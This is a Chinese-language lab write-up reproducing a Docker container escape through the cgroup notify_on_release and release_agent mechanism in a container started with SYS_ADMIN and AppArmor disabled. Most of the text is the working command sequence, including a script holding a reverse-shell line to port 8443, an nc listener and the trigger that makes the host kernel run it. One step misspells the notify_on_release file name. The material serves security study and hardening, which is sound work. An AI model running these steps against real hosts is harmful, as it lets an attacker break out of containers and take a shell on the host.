1.漏洞原理
Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。
若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。
注释:
cgroup:限制资源分配的技术,限制docker的特定资源
Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。
2实验环境
系统环境:ubuntu
docker版本:18.09
挂载的ununtu版本:18.04
3漏洞复现
3.1安装Ubuntu docker 镜像
命令:
docker pull ubuntu:18.04
3.2 SYS_ADMIN的权限运行ubuntu容器
命令:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash
--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。
结果:
3.3查看docker添加的权限
命令:
cat /proc/$$/status | grep Cap
结果:
查看CapEff的具体权限
命令:
capsh --decode=00000000a82425fb
结果:
其中SYS_ADMIN权限添加成功
3.4挂载cgroup及其选项
命令:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
结果:
查看挂载
命令:
ls /tmp/cgrp
注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。
3.5在cgroup中新建一个子系统
新建cgroup子系统是为了防止影响宿主机的正常运行
命令:
mkdir /tmp/cgrp/x
将使用x文件作为POC操作的主要目标
3.6设置notify_on_release为值1
命令:
echo 1 > /tmp/cgrp/x/notify_no_release
结果:
3.7将release_agent指定为容器在宿主机上的cmd文件
3.7.1寻找容器路径
由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容
命令:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
结果:
3.7.2写入shell文件cmd到容器路径中
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件
命令:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
结果:
3.8创建写入cmd文件
应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。
命令:
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd #使用同一台宿主机8443端口进行shell回弹监听
结果:
在宿主机中查看cmd文件创建成功。
3.9给cmd文件执行权限
chmod a+x /cmd
3.10使用本机进行回弹端口监听
重新打开一个会话用于回弹端口监听
命令:
nc -lvvp 8443
3.11执行cmd文件
命令:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。
3.12查看回弹监听结果
查看权限
宿主机成功回弹,逃逸成功。